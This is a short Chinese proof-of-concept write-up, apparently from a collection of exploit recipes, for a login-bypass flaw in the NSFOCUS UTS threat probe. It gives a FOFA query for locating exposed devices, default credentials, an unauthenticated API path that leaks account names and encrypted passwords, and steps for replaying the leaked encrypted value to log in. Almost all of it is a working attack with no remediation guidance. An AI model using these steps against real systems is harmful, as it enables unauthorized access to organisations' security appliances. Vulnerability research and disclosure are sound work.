Awesome-POC/Web应用漏洞/绿盟 UTS综合威胁探针 信息泄露登陆绕过漏洞.md

# 绿盟 UTS综合威胁探针 信息泄露登陆绕过漏洞

## 漏洞描述

绿盟 UTS综合威胁探针 某个接口未做授权导致未授权漏洞

## 漏洞影响

```
绿盟 UTS综合威胁探针
```

## FOFA

```
app="NSFOCUS-UTS综合威胁探针"
```

## 漏洞复现

默认口令

```
admin/Nsfocus@123
auditor/auditor
```

登陆页面

![image-20220525150142447](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205251501583.png)

验证POC

```
/webapi/v1/system/accountmanage/account
```

![image-20220525150243440](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205251502510.png)

这里出现了登录的账号以及加密的 PASS

登陆时的加密字段抓包修改为获取的就可以登陆系统

![](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205251503644.png)

![](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205251503926.png)